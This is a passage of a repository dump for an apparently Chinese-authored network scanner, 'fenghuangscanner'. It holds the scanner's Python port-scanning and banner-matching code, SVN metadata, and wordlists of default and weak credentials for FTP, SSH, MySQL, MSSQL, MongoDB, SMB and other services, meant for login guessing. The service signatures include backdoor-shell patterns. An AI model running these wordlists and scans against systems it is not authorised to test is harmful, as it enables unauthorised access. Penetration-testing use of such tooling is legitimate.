'\\x01\\xc2\\0\\0\\0\\x04\\0\\0\\xb6\\x01\\0\\0\\x53\\x51\\x4c\\x44\\x42\\x32\\x52\\x41\\0\\x01\\0\\0\\x04\\x01\\x01\\0\\x05\\0\\x1d\\0\\x88\\0\\0\\0\\x01\\0\\0\\x80\\0\\0\\0\\x01\\x09\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\x01\\x09\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\x01\\x08\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\x04\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\x40\\x04\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\x04\\0\\0\\0\\x02\\0\\0\\x40\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\0\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\0\\x04\\0\\0\\0\\x04\\0\\0\\x80\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x80\\0\\0\\0\\x01\\x04\\0\\0\\0\\x03\\0\\0\\x80\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x80\\0\\0\\0\\x01\\x08\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\x10\\0\\0\\0\\x01\\0\\0\\x80\\0\\0\\0\\x01\\x10\\0\\0\\0\\x01\\0\\0\\x80\\0\\0\\0\\x01\\x04\\0\\0\\0\\x04\\0\\0\\x40\\0\\0\\0\\x01\\x09\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\x01\\x09\\0\\0\\0\\x01\\0\\0\\x80\\0\\0\\0\\x01\\x04\\0\\0\\0\\x03\\0\\0\\x80\\0\\0\\0\\x01\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x01\\x04\\0\\0\\x01\\0\\0\\x80\\0\\0\\0\\x01\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\x01\\0\\0\\0\\0\\x01\\0\\0\\x40\\0\\0\\0\\0\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x01\\0\\xff\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\xe4\\x04\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x7f',\n\t\t    '\\x41\\0\\0\\0\\x3a\\x30\\0\\0\\xff\\xff\\xff\\xff\\xd4\\x07\\0\\0\\0\\0\\0\\0test.$cmd\\0\\0\\0\\0\\0\\xff\\xff\\xff\\xff\\x1b\\0\\0\\0\\x01serverStatus\\0\\0\\0\\0\\0\\0\\0\\xf0\\x3f\\0'\n\t\t    ]\n\t\tself.SIGNS =self.config.file2list(\"conf/signs.conf\")\n\t\tself.ports=[]\n\t\tself.getports(user_ports)\n\t\tself.lock = threading.Lock()\n\t\tself.pinglist=[]\n\t\tself.q=Queue()\n\t\tself.sp=Queue()\n\t\tself.signs=self.prepsigns()\n\n\t\tself.ipdict={}\n\t\tself.ipdict['ldap']=[]\n\t\tself.ipdict['mysql']=[]\n\t\tself.ipdict['mssql']=[]\n\t\tself.ipdict['ftp']=[]\n\t\tself.ipdict['ssh']=[]\n\t\tself.ipdict['smb']=[]\n\t\tself.ipdict['vnc']=[]\n\t\tself.ipdict['pop3']=[]\n\t\tself.ipdict['rsync']=[]\n\t\tself.ipdict['http']=[]\n\t\tself.ipdict['https']=[]\n\t\tself.ipdict['mongodb']=[]\n\t\tself.ipdict['postgres']=[]\n\t\tself.ipdict['redis']=[]\n\t\tself.ipdict['ssl']=[]\n\t\tself.ipdict['Unknown']=[]\n\n\n\t#获取扫描端口列表\n\tdef getports(self,user_ports):\n\t    if user_ports=='':\n\t        self.ports=[21,22,23,80,81,443,389,445,843,873,1043,1099,1194,1433,1434,1521,2601,2604,3306,3307,3128,3389,3812,4440,4848,5432,5900,5901,5902,5903,6082,6000,6379,7001,7002,8080,8181,8888,8090,8000,8008,8009,8081,8088,8089,9000,9080,9043,9090,9091,9200,9528,10000,11211,10022,15000,16000,22022,22222,27017,28017,17017,18017,11321,50060]\n\t    else:\n\t        try:\n\t            if user_ports.find(\",\")>0:\n\t                for port in user_ports.split(','):\n\t                    self.ports.append(int(port))\n\n\t            elif user_ports.find(\"-\")>0:\n\t                startport=int(user_ports.split('-')[0])\n\t                endport=int(user_ports.split('-')[1])\n\t                for i in xrange(startport,endport+1):\n\t                    self.ports.append(i)\n\t            else:\n\t                self.ports.append(int(user_ports))\n\t        except :\n\t            printRed('[!] not a valid ports given. you should put ip like 22,80,1433 or 22-1000')\n\t            exit()\n\n\t#ping扫描函数\n\tdef pinger(self):\n\t    while True:\n\t        ip=self.q.get()\n\t        if platform.system()=='Linux':\n\t            p=Popen(['ping','-c 2',ip],stdout=PIPE)\n\t            m = re.search('(\\d)\\sreceived', p.stdout.read())\n\t            try:\n\t                if m.group(1)!='0':\n\t                    self.pinglist.append(ip)\n\t                    self.lock.acquire()\n\t                    printRed(\"%s is live!!\\r\\n\" % ip)\n\t                    self.lock.release()\n\t            except:pass\n\n\t        if platform.system()=='Darwin':\n\t            import commands\n\t            p=commands.getstatusoutput(\"ping -c 2 \"+ip)\n\t            m = re.findall('ttl', p[1])\n\t            try:\n\t                if m:\n\t                    self.pinglist.append(ip)\n\t                    self.lock.acquire()\n\t                    printRed(\"%s is live!!\\r\\n\" % ip)\n\t                    self.lock.release()\n\t            except:pass\n\n\t        if platform.system()=='Windows':\n\t            p=Popen('ping -n 2 ' + ip, stdout=PIPE)\n\t            m = re.findall('TTL', p.stdout.read())\n\t            if m:\n\t                self.pinglist.append(ip)\n\t                self.lock.acquire()\n\t                printRed(\"%s is live!!\\r\\n\" % ip)\n\t                self.lock.release()\n\t        self.q.task_done()\n\n\n\tdef pingscan(self,isping,threads,ips):\n\t\t    starttime=time.time()\n\t\t    friststarttime=time.time()\n\t\t    print \"[*] start Scanning at %s\" % time.ctime()\n\t\t    #isping=='no' 就禁ping扫描\n\t\t    #默认ping 扫描\n\t\t    if isping=='yes':\n\t\t    \tprint \"Scanning for live machines...\"\n\t\t        for i in xrange(threads):\n\t\t            t = Thread(target=self.pinger)\n\t\t            t.setDaemon(True)\n\t\t            t.start()\n\t\t        for ip in ips:\n\t\t            self.q.put(ip)\n\n\t\t        self.q.join()\n\n\t\t    else:\n\t\t        self.pinglist=ips\n\n\t\t    if len(self.pinglist)==0:\n\t\t        print \"not find any live machine - -|||\"\n\t\t        exit()\n\n\t\t    print \"[*] Scanning for live machines done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n\n\n\tdef prepsigns(self):\n\t    signlist=[]\n\t    for item in self.SIGNS:\n\t        (label,pattern)=item.split('|',2)\n\t        sign=(label,pattern)\n\t        signlist.append(sign)\n\t    return signlist\n\n\tdef matchbanner(self,banner,slist):\n\t    #print banner\n\t    for item in slist:\n\t        p=re.compile(item[1])\n\t        #print item[1]\n\t        if p.search(banner)!=None:\n\t            return item[0]\n\t    return 'Unknown'\n\n\n\t#扫端口及其对应服务类型函数\n\tdef scanports(self):\n\t    while True:\n\t        ip,port=self.sp.get()\n\t        #print ip,port \n\t        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\t        #判断端口的服务类型\n\t        service='Unknown'\n\t        try:\n\t            s.connect((ip,port))\n\t        except:\n\t            self.sp.task_done()\n\t            continue\n\n\t        try:\n\t            result = s.recv(256)\n\t            service=self.matchbanner(result,self.signs)\n\t        except:\n\t            for probe in self.PROBES:\n\t            \t#print probe\n\t                try:\n\t                    s.close()\n\t                    sd=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t                    sd.settimeout(5)\n\t                    sd.connect((ip,port))\n\t                    sd.send(probe)\n\t                except:\n\t                    continue\n\t                try:\n\t                    result=sd.recv(256)\n\t                    service=self.matchbanner(result,self.signs)\n\t                    if service!='Unknown':\n\t                        break\n\t                except:\n\t                    continue\n\n\t        if service not in self.ipdict:\n\t            self.ipdict[service]=[]\n\t            self.ipdict[service].append(ip+':'+str(port))\n\t            self.lock.acquire()\n\t            printRed(\"%s opening %s\\r\\n\" %(ip,port))\n\t            self.lock.release()\n\t        else:\n\t            self.ipdict[service].append(ip+':'+str(port))\n\t            self.lock.acquire()\n\t            printRed(\"%s opening %s\\r\\n\" %(ip,port))\n\t            self.lock.release()\n\n\t        self.sp.task_done()\n\n\n\tdef portsscan(self,threads,file):\n\t    print \"Scanning ports now...\"\n\t    print \"[*] start Scanning live machines' ports at %s\" % time.ctime()\n\t    starttime=time.time()\n\n\t    for i in xrange(threads):\n\t        st=Thread(target=self.scanports)\n\t        st.setDaemon(True)\n\t        st.start()\n\n\t    for scanip in self.pinglist:\n\t        for port in self.ports:\n\t            self.sp.put((scanip,port))\n\t    self.sp.join()\n\t    print \"[*] Scanning ports done,it has Elapsed time:%s \" % (time.time()-starttime)\n\t    #将服务端口 信息 记录文件\n\t    for name in self.ipdict.keys():\n\t        if len(self.ipdict[name]):\n\t            contents=str(name)+' service has:\\n'+'       '+str(self.ipdict[name])+'\\n'\n\t            self.config.write_file(contents=contents,file=file)\t    \n\t    \n\n\t#处理没有识别的服务\n\tdef handleunknown(self):    \n\t    for ip in self.ipdict['Unknown']:\n\t        #print ip\n\t        try:\n\t            if str(ip).split(':')[1]=='389':\n\t                    self.ipdict['ldap'].append(ip)\n\t            if str(ip).split(':')[1]=='445':\n\t                    self.ipdict['smb'].append(ip)\n\t            if str(ip).split(':')[1] in ['3306','3307','3308','3309']:\n\t                    self.ipdict['mysql'].append(ip)\n\t            if str(ip).split(':')[1]=='1433':\n\t                    self.ipdict['mssql'].append(ip)\n\t            if str(ip).split(':')[1] in ['10022','22']:\n\t                    self.ipdict['ssh'].append(ip)\n\t            if str(ip).split(':')[1]=='27017':\n\t                    self.ipdict['mongodb'].append(ip)\n\t            if str(ip).split(':')[1]=='110':\n\t                    self.ipdict['pop3'].append(ip)\n\t            if str(ip).split(':')[1]=='5432':\n\t                    self.ipdict['postgres'].append(ip)\n\t            if str(ip).split(':')[1]=='443':\n\t                    self.ipdict['ssl'].append(ip)\n\t            if str(ip).split(':')[1]=='873':\n\t                    self.ipdict['rsync'].append(ip)\n\t            if str(ip).split(':')[1]=='6379':\n\t                    self.ipdict['redis'].append(ip)\n#\t            if str(ip).split(':')[1]=='21':\n#\t                    self.ipdict['ftp'].append(ip)\n\t        except Exception as e:\n\t            print e\n\t    #处理被识别为http的mongo\n\t    for ip in self.ipdict['http']:\n\t        if str(ip).split(':')[1]=='27017':\n\t            self.ipdict['http'].remove(ip)\n\t            self.ipdict['mongodb'].append(ip)\n\n\tdef run(self,isping,threads,ips,file):\n\t\tself.pingscan(isping,threads,ips)\n\t\tself.portsscan(threads,file)\n\t\tself.handleunknown()\n\n\n  \n\t    \n\n\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/comm/printers.py",
    "content": "import ctypes,sys\nimport platform\n\nif platform.system()=='Linux' or platform.system()=='Darwin':\n    class colors:\n        BLACK         = '\\033[0;30m'\n        DARK_GRAY     = '\\033[1;30m'\n        LIGHT_GRAY    = '\\033[0;37m'\n        BLUE          = '\\033[0;34m'\n        LIGHT_BLUE    = '\\033[1;34m'\n        GREEN         = '\\033[0;32m'\n        LIGHT_GREEN   = '\\033[1;32m'\n        CYAN          = '\\033[0;36m'\n        LIGHT_CYAN    = '\\033[1;36m'\n        RED           = '\\033[0;31m'\n        LIGHT_RED     = '\\033[1;31m'\n        PURPLE        = '\\033[0;35m'\n        LIGHT_PURPLE  = '\\033[1;35m'\n        BROWN         = '\\033[0;33m'\n        YELLOW        = '\\033[1;33m'\n        WHITE         = '\\033[1;37m'\n        DEFAULT_COLOR = '\\033[00m'\n        RED_BOLD      = '\\033[01;31m'\n        ENDC          = '\\033[0m'\n\n    def printRed(mess):\n        mess=mess.strip('\\r\\n')\n        print colors.RED    + mess + colors.ENDC\n\n    def printPink(mess):\n        mess=mess.strip('\\r\\n')\n        print colors.BLUE   + mess+ colors.ENDC\n\n    def printGreen(mess):\n        mess=mess.strip('\\r\\n')\n        print colors.GREEN + mess + colors.ENDC\n\n\nif platform.system()=='Windows':\n    STD_INPUT_HANDLE = -10\n    STD_OUTPUT_HANDLE = -11\n    STD_ERROR_HANDLE = -12\n\n    FOREGROUND_BLACK = 0x0\n    FOREGROUND_BLUE = 0x01 # text color contains blue.\n    FOREGROUND_GREEN = 0x02 # text color contains green.\n    FOREGROUND_RED = 0x04 # text color contains red.\n\n    FOREGROUND_INTENSITY = 0x08 # text color is intensified.\n    BACKGROUND_BLUE = 0x10 # background color contains blue.\n    BACKGROUND_GREEN = 0x20 # background color contains green.\n    BACKGROUND_RED = 0x40 # background color contains red.\n    BACKGROUND_INTENSITY = 0x80 # background color is intensified.\n\n\n    std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)\n\n    def set_cmd_text_color(color, handle=std_out_handle):\n        Bool = ctypes.windll.kernel32.SetConsoleTextAttribute(handle, color)\n        return Bool\n\n    def resetColor():\n        set_cmd_text_color(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE)\n\n    def printRed(mess):\n        set_cmd_text_color(FOREGROUND_RED | FOREGROUND_INTENSITY)\n        sys.stdout.write(mess)\n        resetColor()\n\n    def printPink(mess):\n        set_cmd_text_color(FOREGROUND_RED | FOREGROUND_BLUE| FOREGROUND_INTENSITY)\n        print(mess)\n        resetColor()\n\n    def printGreen(mess):\n        set_cmd_text_color(FOREGROUND_GREEN | FOREGROUND_INTENSITY)\n        sys.stdout.write(mess)\n        resetColor()\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/.svn/all-wcprops",
    "content": "K 25\nsvn:wc:ra_dav:version-url\nV 43\n/svn/asoc/!svn/ver/2793/trunk/portScan/conf\nEND\nconfig.txt\nK 25\nsvn:wc:ra_dav:version-url\nV 54\n/svn/asoc/!svn/ver/2793/trunk/portScan/conf/config.txt\nEND\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/.svn/entries",
    "content": "10\n\ndir\n3928\nhttp://weisen.cws@sources.alipay.net/svn/asoc/trunk/portScan/conf\nhttp://weisen.cws@sources.alipay.net/svn/asoc\n\n\n\n2014-12-16T07:44:40.829054Z\n2793\npengliu.lp\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n4b2b8d61-1d8c-441e-9e62-9f354fa0bc87\n\f\nconfig.txt\nfile\n\n\n\n\n2015-08-28T10:59:17.000000Z\nfedd5f2201b8a8c4cb5eb448e116d05b\n2014-12-16T07:44:40.829054Z\n2793\npengliu.lp\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n72\n\f\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/.svn/text-base/config.txt.svn-base",
    "content": "<task> \n[global] \ntask_type = 1\n\n<log>\n[global]\nlogfile = ./log/log.txt\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/ftp.conf",
    "content": "ftp:ftp@163.com\nftp:ftp\nftp:1\nftp:12\nftp:123\nftp:1234\nftp:12345\nftp:123456\nftp:1234567\nftp:12345678\nftp:123456789\nftp:1234567890\nftp:654321\nftp:54321\nftp:00000000\nftp:88888888\nftp:pass\nftp:password\nftp:passwd\nftp:!@#$%^\nftp:1q2w3e\nftp:qawsed\nftp:pwd\nftp:1qaz2ws3e4\nftp:qazwsxedc\nftp:!@#$%^&*\nftp:ftp21\nftp:ftppass\nftp:ftp221\nftp:ftppassword\nftp:ftppasswd\nadmin:1\nadmin:12\nadmin:admin\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:1234567\nadmin:12345678\nadmin:123456789\nadmin:1234567890\nadmin:654321\nadmin:54321\nadmin:00000000\nadmin:88888888\nadmin:pass\nadmin:password\nadmin:passwd\nadmin:!@#$%^\nadmin:1q2w3e\nadmin:qawsed\nadmin:pwd\nadmin:1qaz2ws3e4\nadmin:qazwsxedc\nadmin:!@#$%^&*\nadmin:rootpass\nadmin:rootpassword\nadmin:rootpasswd\ntest:1\ntest:12\ntest:123\ntest:1234\ntest:12345\ntest:123456\ntest:1234567\ntest:12345678\ntest:123123\ntest:123456789\ntest:test\ntest:654321\ntest:54321"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/ldapd.conf",
    "content": "Anonymous:\nManager:123456\nManager:secret\nManager:1\nManager:12\nManager:123\nManager:1234\nManager:12345\nManager:123456\nManager:1234567\nManager:12345678\nManager:123456789\nManager:1234567890\nManager:654321\nManager:54321\nManager:00000000\nManager:88888888\nManager:pass\nManager:password\nManager:passwd\nManager:!@#$%^\nManager:1q2w3e\nManager:qawsed\nManager:pwd\nManager:1qaz2ws3e4\nManager:qazwsxedc\nManager:!@#$%^&*"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/mongodb.conf",
    "content": "anonymous:\nmongodb:1\nmongodb:12\nmongodb:123\nmongodb:1234\nmongodb:12345\nmongodb:123456\nmongodb:1234567\nmongodb:12345678\nmongodb:123456789\nmongodb:1234567890\nmongodb:654321\nmongodb:54321\nmongodb:mongodb\nmongodb:00000000\nmongodb:88888888\nmongodb:pass\nmongodb:password\nmongodb:passwd\nmongodb:!@#$%^\nmongodb:1q2w3e\nmongodb:qawsed\nmongodb:pwd\nmongodb:1qaz2ws3e4\nmongodb:qazwsxedc\nmongodb:!@#$%^&*\nmongodb:rootpass\nmongodb:rootpassword\nmongodb:rootpasswd\nroot:1\nroot:12\nroot:root\nroot:root123\nroot:root123456\nroot:123\nroot:1234\nroot:12345\nroot:123456\nroot:1234567\nroot:12345678\nroot:123456789\nroot:1234567890\nroot:654321\nroot:54321\nroot:00000000\nroot:88888888\nroot:pass\nroot:password\nroot:passwd\nroot:!@#$%^\nroot:1q2w3e\nroot:qawsed\nroot:pwd\nroot:test\nroot:qwe123\nroot:1qaz2ws3e4\nroot:qazwsxedc\nroot:!@#$%^&*\nroot:root123\nroot:root123456\nroot:rootpass\nroot:rootpassword\nroot:rootpasswd\nroot:admin\nroot:admin123\nroot:-\nroot:_\nroot:1qaz2wsx\nroot:666666\nroot:888888\nroot:123123\nroot:toor\nroot:123abc\nroot:passw0rd\nadmin:1\nadmin:12\nadmin:admin\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:1234567\nadmin:12345678\nadmin:123456789\nadmin:1234567890\nadmin:654321\nadmin:54321\nadmin:00000000\nadmin:88888888\nadmin:pass\nadmin:password\nadmin:passwd\nadmin:!@#$%^\nadmin:1q2w3e\nadmin:qawsed\nadmin:pwd\nadmin:1qaz2ws3e4\nadmin:qazwsxedc\nadmin:!@#$%^&*\nadmin:rootpass\nadmin:rootpassword\nadmin:rootpasswd\ntest:1\ntest:12\ntest:123\ntest:1234\ntest:12345\ntest:123456\ntest:1234567\ntest:123123\ntest:12345678\ntest:123456789\ntest:test\ntest:654321\ntest:54321"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/mssql.conf",
    "content": "sa:1\nsa:\nsa:sa\nsa:sa123\nsa:12\nsa:123\nsa:1234\nsa:12345\nsa:123456\nsa:1234567\nsa:12345678\nsa:123456789\nsa:1234567890\nsa:654321\nsa:54321\nsa:00000000\nsa:88888888\nsa:pass\nsa:password\nsa:passwd\nsa:!@#$%^\nsa:1q2w3e\nsa:qawsed\nsa:pwd\nsa:1qaz2ws3e4\nsa:qazwsxedc\nsa:!@#$%^&*\nsa:sa1433\nsa:sapass\nsa:sa1434\nsa:sapassword\nsa:sapasswd\nsa:aS6kR9auNM\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/mysql.conf",
    "content": "root:1\nroot:12\nroot:123\nroot:1234\nroot:12345\nroot:123456\nroot:1234567\nroot:12345678\nroot:123456789\nroot:1234567890\nroot:654321\nroot:54321\nroot:00000000\nroot:88888888\nroot:\nroot:root\nroot:root123\nroot:root123456\nroot:pass\nroot:password\nroot:passwd\nroot:!@#$%^\nroot:1q2w3e\nroot:qawsed\nroot:pwd\nroot:1qaz2ws3e4\nroot:qazwsxedc\nroot:!@#$%^&*\nroot:root3306\nroot:rootpass\nroot:root3307\nroot:rootpassword\nroot:rootpasswd\nmysql:1\nmysql:12\nmysql:123\nmysql:1234\nmysql:12345\nmysql:123456\nmysql:1234567\nmysql:12345678\nmysql:123456789\nmysql:1234567890\nmysql:654321\nmysql:54321\nmysql:00000000\nmysql:mysql\nmysql:88888888\nmysql:pass\nmysql:password\nmysql:passwd\nmysql:!@#$%^\nmysql:1q2w3e\nmysql:qawsed\nmysql:pwd\nmysql:1qaz2ws3e4\nmysql:qazwsxedc\nmysql:!@#$%^&*\nmysql:root3306\nmysql:rootpass\nmysql:root3307\nmysql:rootpassword\nmysql:rootpasswd\ntest:1\ntest:123123\ntest:12\ntest:123\ntest:1234\ntest:12345\ntest:123456\ntest:1234567\ntest:12345678\ntest:123456789\ntest:test\ntest:654321"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/pop3.conf",
    "content": ""
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/postgres.conf",
    "content": "root:1\nroot:12\nroot:123\nroot:x90x00\nroot:1234\nroot:12345\nroot:123456\nroot:1234567\nroot:12345678\nroot:123456789\nroot:1234567890\nroot:654321\nroot:54321\nroot:00000000\nroot:88888888\nroot:root\nroot:root123\nroot:root123456\nroot:pass\nroot:motianlun\nroot:mofashi\nroot:password\nroot:passwd\nroot:!@#$%^\nroot:1q2w3e\nroot:qawsed\nroot:pwd\nroot:1qaz2ws3e4\nroot:qazwsxedc\nroot:!@#$%^&*\nroot:root3306\nroot:rootpass\nroot:root3307\nroot:rootpassword\nroot:rootpasswd\npostgres:1\npostgres:12\npostgres:123\npostgres:1234\npostgres:12345\npostgres:123456\npostgres:1234567\npostgres:12345678\npostgres:123456789\npostgres:1234567890\npostgres:postgres\npostgres:654321\npostgres:54321\npostgres:88888888\npostgres:pass\npostgres:password\npostgres:passwd\npostgres:!@#$%^\npostgres:1q2w3e\npostgres:qawsed\npostgres:pwd\npostgres:1qaz2ws3e4\npostgres:qazwsxedc\npostgres:!@#$%^&*\npostgres:postgres654321\npostgres:postgres123456\npostgres:postgres123\npostgres:postgrespassword\npostgres:postgrespasswd"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/signs.conf",
    "content": "http|^HTTP.*\nhttp|^HTTP/0.\nhttp|^HTTP/1.\nhttp|<HEAD>.*<BODY>\nhttp|<HTML>.*\nhttp|<html>.*\nhttp|<!DOCTYPE.*\nhttp|^Invalid requested URL \nhttp|.*<?xml\nhttp|^HTTP/.*\\nServer: Apache/1\nhttp|^HTTP/.*\\nServer: Apache/2\nhttp|.*Microsoft-IIS.*\nhttp|^HTTP/.*\\nServer: Microsoft-IIS\nhttp|^HTTP/.*Cookie.*ASPSESSIONID\nhttp|^<h1>Bad Request .Invalid URL.</h1>\nredis|ERR unknown command\nredis|ERR wrong number of arguments\nmongodb|^.*version.....([\\.\\d]+)\npop3|.*POP3.*\npop3|.*pop3.*\nssh|SSH-2.0-OpenSSH.*\nssh|SSH-1.0-OpenSSH.*\nssh|.*ssh.*\nbackdoor-fxsvc|^500 Not Loged in\nbackdoor-shell|GET: command\nbackdoor-shell|sh: GET:\nbachdoor-shell|[a-z]*sh: .* command not found\nbackdoor-shell|^bash[$#]\nbackdoor-shell|^sh[$#]\nbackdoor-cmdshell|^Microsoft Windows .* Copyright .*>\nftp|^220.*\\n331\nftp|^220.*\\n530\nftp|^220.*FTP\nftp|^220 .* Microsoft .* FTP\nftp|^220 Inactivity timer\nftp|^220 .* UserGate\nftp|^220(.*?)\nldap|^\\x30\\x0c\\x02\\x01\\x01\\x61\nldap|^\\x30\\x32\\x02\\x01\nldap|^\\x30\\x33\\x02\\x01\nldap|^\\x30\\x38\\x02\\x01\nldap|^\\x30\\x84\nldap|^\\x30\\x45\nldap|^\\x30.*\nsmb|^\\0\\0\\0.\\xffSMBr\\0\\0\\0\\0.*\nmssql|^\\x04\\x01\\0C..\\0\\0\\xaa\\0\\0\\0/\\x0f\\xa2\\x01\\x0e.*\nmssql|^\\x05\\x6e\\x00\nmssql|^\\x04\\x01\\x00\\x25\\x00\\x00\\x01\\x00\\x00\\x00\\x15.*\nmssql|^\\x04\\x01\\x00.\\x00\\x00\\x01\\x00\\x00\\x00\\x15.*\nmssql|^\\x04\\x01\\x00\\x25\\x00\\x00\\x01\\x00\\x00\\x00\\x15.*\nmssql|^\\x04\\x01\\x00.\\x00\\x00\\x01\\x00\\x00\\x00\\x15.*\nmssql|^\\x04\\x01\\0\\x25\\0\\0\\x01\\0\\0\\0\\x15\\0\\x06\\x01.*\nmssql|^\\x04\\x01\\x00\\x25\\x00\\x00\\x01.*\nmysql|^\\x19\\x00\\x00\\x00\\x0a\nmysql|^\\x2c\\x00\\x00\\x00\\x0a\nmysql|hhost \\'\nmysql|khost \\'\nmysql|mysqladmin\nmysql|(.*)5(.*)log\nmysql|(.*)4(.*)log\nmysql|whost \\'\nmysql|^\\(\\x00\\x00\nmysql|this MySQL\nmysql|^N\\x00\nmysql|(.*)mysql(.*)\nmssql|;MSSQLSERVER;\noracle|\\(ERROR_STACK=\\(ERROR=\\(CODE=\noracle|\\(ADDRESS=\\(PROTOCOL=\npostgres|Invalid packet length\npostgres|^EFATAL\nrsync|^@RSYNCD:.*\nsnmp|\\x70\\x75\\x62\\x6c\\x69\\x63\\xa2\nsnmp|\\x41\\x01\\x02\nssh|^SSH-\nssh|^SSH-.*openssh\ntelnet|^\\xff\\xfd\ntelnet-disabled|Telnet is disabled now\ntelnet|^\\xff\\xfe\ntelnet|^xff\\xfb\\x01\\xff\\xfb\\x03\\xff\\xfb\\0\\xff\\xfd.*\nvnc|^RFB.*'\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/smb.conf",
    "content": "administrator:1\nadministrator:12\nadministrator:\nadministrator:administrator\nadministrator:123\nadministrator:1234\nadministrator:12345\nadministrator:123456\nadministrator:1234567\nadministrator:12345678\nadministrator:123456789\nadministrator:1234567890\nadministrator:654321\nadministrator:54321\nadministrator:00000000\nadministrator:88888888\nadministrator:pass\nadministrator:password\nadministrator:passwd\nadministrator:!@#$%^\nadministrator:1q2w3e\nadministrator:qawsed\nadministrator:pwd\nadministrator:1qaz2ws3e4\nadministrator:qazwsxedc\nadministrator:!@#$%^&*\nadmin:1\nadmin:12\nadmin:admin\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:1234567\nadmin:12345678\nadmin:123456789\nadmin:1234567890\nadmin:654321\nadmin:54321\nadmin:00000000\nadmin:88888888\nadmin:pass\nadmin:password\nadmin:passwd\nadmin:!@#$%^\nadmin:1q2w3e\nadmin:qawsed\nadmin:pwd\nadmin:1qaz2ws3e4\nadmin:qazwsxedc\nadmin:!@#$%^&*\nadmin:rootpass\nadmin:rootpassword\nadmin:rootpasswd\ntest:1\ntest:123123\ntest:12\ntest:123\ntest:1234\ntest:12345\ntest:123456\ntest:1234567\ntest:12345678\ntest:123456789\ntest:test\ntest:654321\ntest:54321"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/snmp.conf",
    "content": "public"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/ssh.conf",
    "content": "root:1\nroot:12\nroot:root\nroot:root123\nroot:root123456\nroot:123\nroot:1234\nroot:12345\nroot:123456\nroot:1234567\nroot:12345678\nroot:123456789\nroot:1234567890\nroot:654321\nroot:54321\nroot:00000000\nroot:88888888\nroot:pass\nroot:password\nroot:passwd\nroot:!@#$%^\nroot:1q2w3e\nroot:qawsed\nroot:pwd\nroot:test\nroot:qwe123\nroot:1qaz2ws3e4\nroot:qazwsxedc\nroot:!@#$%^&*\nroot:root123\nroot:root123456\nroot:rootpass\nroot:rootpassword\nroot:rootpasswd\nroot:admin\nroot:admin123\nroot:-\nroot:_\nroot:1qaz2wsx\nroot:666666\nroot:888888\nroot:123123\nroot:toor\nroot:123abc\nroot:passw0rd\nadmin:1\nadmin:12\nadmin:admin\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:1234567\nadmin:12345678\nadmin:123456789\nadmin:1234567890\nadmin:654321\nadmin:54321\nadmin:00000000\nadmin:88888888\nadmin:pass\nadmin:password\nadmin:passwd\nadmin:!@#$%^\nadmin:1q2w3e\nadmin:qawsed\nadmin:pwd\nadmin:1qaz2ws3e4\nadmin:qazwsxedc\nadmin:!@#$%^&*\nadmin:rootpass\nadmin:rootpassword\nadmin:rootpasswd\ntest:1\ntest:12\ntest:123\ntest:1234\ntest:123123\ntest:12345\ntest:123456\ntest:1234567\ntest:12345678\ntest:123456789\ntest:test\ntest:654321\ntest:54321\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/tomcat.conf",
